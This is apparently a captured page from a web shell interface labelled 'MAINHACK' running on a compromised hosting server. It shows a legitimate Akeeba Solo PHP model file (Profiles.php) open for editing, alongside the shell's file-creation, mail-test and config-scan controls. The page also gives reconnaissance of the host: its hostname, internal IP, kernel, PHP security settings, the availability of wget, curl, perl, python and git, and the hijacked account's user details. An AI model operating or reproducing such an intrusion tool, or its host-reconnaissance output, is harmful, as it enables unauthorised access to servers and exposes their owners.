[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Profiles.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Model; use Akeeba\Engine\Platform; use Awf\Container\Container; use Awf\Mvc\DataModel; use Awf\Text\Language; use Awf\Text\Text; use RuntimeException; class Profiles extends DataModel { /** * Public constructor * * @param Container $container Configuration parameters */ public function __construct(?Container $container = null, ?Language $language = null) { $this->tableName = '#__ak_profiles'; $this->idFieldName = 'id'; parent::__construct($container, $language); $this->addBehaviour('filters'); } /** * Prevent the deletion of the default backup profile * * @param integer $id The profile ID which is about to be deleted * * @throws \RuntimeException When some wise guy tries to delete the default backup profile */ public function onBeforeDelete($id) { if ($id == 1) { throw new RuntimeException(Text::_('COM_AKEEBA_PROFILE_ERR_CANNOTDELETEDEFAULT'), 403); } // If you're deleting the current backup profile we have to switch to the default profile (#1) $activeProfile = Platform::getInstance()->get_active_profile(); if ($id == $activeProfile) { throw new RuntimeException(Text::sprintf('COM_AKEEBA_PROFILE_ERR_CANNOTDELETEACTIVE', $id), 500); } } /** * Check the data for validity. * * @return DataModel Self, for chaining * * @throws \RuntimeException When the data bound to this record is invalid */ public function check() { if (!$this->description) { throw new RuntimeException(Text::_('COM_AKEEBA_PROFILE_ERR_NODESCRIPTION')); } if (!$this->quickicon) { $this->quickicon = 0; } return parent::check(); } /** * Save a profile from imported configuration data. The $data array must contain the keys description (profile * description), configuration (engine configuration INI data) and filters (inclusion and inclusion filters JSON * configuration data). * * @param array $data See above * * @returns void * * @throws RuntimeException When an iport error occurs */ public function import($data) { // Check for data validity $isValid = is_array($data) && !empty($data) && array_key_exists('description', $data) && array_key_exists('configuration', $data) && array_key_exists('filters', $data); if (!$isValid) { throw new RuntimeException(Text::_('COM_AKEEBA_PROFILES_ERR_IMPORT_INVALID')); } // Unset the id, if it exists if (array_key_exists('id', $data)) { unset($data['id']); } $data['akeeba.flag.confwiz'] = 1; // Try saving the profile $result = $this->save($data); if (!$result) { throw new RuntimeException(Text::_('COM_AKEEBA_PROFILES_ERR_IMPORT_FAILED')); } } /** * Resets the configuration and filters of a backup profile without touching its ID, name, or description. * * @return bool True on success * @since 9.0.3 */ public function resetConfiguration(int $pk): bool { $this->findOrFail($pk); $this->save( [ 'configuration' => '', 'filters' => '', ] ); return true; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697